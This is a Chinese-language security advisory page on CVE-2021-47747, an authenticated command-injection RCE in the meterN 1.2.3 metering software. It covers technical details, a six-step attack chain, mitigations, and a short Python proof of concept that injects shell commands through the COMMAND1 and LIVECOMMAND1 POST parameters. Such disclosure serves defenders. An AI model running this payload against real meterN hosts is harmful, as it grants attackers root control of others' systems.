IPBUF安全漏洞报告
English
CVE-2021-47747 CVSS 8.8 高危

CVE-2021-47747 meterN 1.2.3 认证后远程代码执行漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2021-47747
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
meterN

相关标签

远程代码执行命令注入meterNPHPCVE-2021-47747认证绕过高危漏洞

漏洞概述

meterN 1.2.3存在一处严重的认证后远程代码执行漏洞。该漏洞位于admin_meter2.php和admin_indicator2.php两个管理脚本中,攻击者可以通过POST请求中的COMMANDx和LIVECOMMANDx参数注入并执行任意系统命令。由于meterN通常以root或高权限用户运行,成功利用此漏洞的攻击者将获得服务器的完全控制权。meterN是一个基于PHP的计量数据采集和监控系统,常用于树莓派等嵌入式设备上收集太阳能板发电量、用电量等数据。该漏洞的CVSS评分达到8.8,属于高危漏洞,攻击复杂度低且无需用户交互即可实现攻击。

技术细节

meterN 1.2.3的管理脚本admin_meter2.php和admin_indicator2.php对用户输入的COMMANDx和LIVECOMMANDx POST参数缺乏有效的安全过滤和参数化处理。这些参数本应用于配置系统命令执行,但开发者未对用户输入进行命令注入防护。攻击者只需拥有低权限的管理员账号,即可构造包含恶意系统命令的请求参数。由于应用在执行命令时直接调用shell,攻击者可以通过分号、管道符、&&、||等Shell元字符拼接任意命令。meterN通常以root权限运行Web服务,因此攻击者执行命令后直接获得系统最高权限,实现远程代码执行。漏洞的根本原因在于使用了不安全的system()、exec()、shell_exec()等函数直接执行用户可控的字符串,且缺少输入验证和输出编码。

攻击链分析

STEP 1
步骤1
攻击者通过暴力破解或社工手段获取meterN管理员账号的低权限凭证
STEP 2
步骤2
使用获取的凭证登录meterN管理后台
STEP 3
步骤3
构造包含恶意系统命令的POST请求,注入到COMMANDx或LIVECOMMANDx参数中
STEP 4
步骤4
发送请求到admin_meter2.php或admin_indicator2.php脚本
STEP 5
步骤5
漏洞代码直接执行注入的命令,由于应用以root运行,攻击者获得系统最高权限
STEP 6
步骤6
攻击者可在服务器上部署后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47747 PoC - meterN 1.2.3 Authenticated RCE """ import requests import sys TARGET = "http://target.com/meterm" USERNAME = "admin" PASSWORD = "admin123" CMD = "id" def exploit(): # Login to get session session = requests.Session() login_data = {"user": USERNAME, "pass": PASSWORD} resp = session.post(f"{TARGET}/login.php", data=login_data) if "success" not in resp.text.lower(): print("[-] Login failed") return print("[+] Login successful") # RCE via COMMAND1 parameter rce_data = { "COMMAND1": f"{CMD} > /tmp/rce_output.txt", "LIVECOMMAND1": f"; {CMD} #", "save": "" } resp = session.post(f"{TARGET}/admin_meter2.php", data=rce_data) print(f"[+] RCE Payload sent: {CMD}") print(f"[*] Check /tmp/rce_output.txt on target") if __name__ == "__main__": exploit()

影响范围

meterN <= 1.2.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 立即修改所有管理员账户密码为强密码;2) 限制admin_meter2.php和admin_indicator2.php的访问来源,仅允许可信IP访问管理接口;3) 禁用不必要的管理员账户;4) 在Web服务器层面配置规则阻止包含Shell元字符的请求;5) 监控日志中的异常POST请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表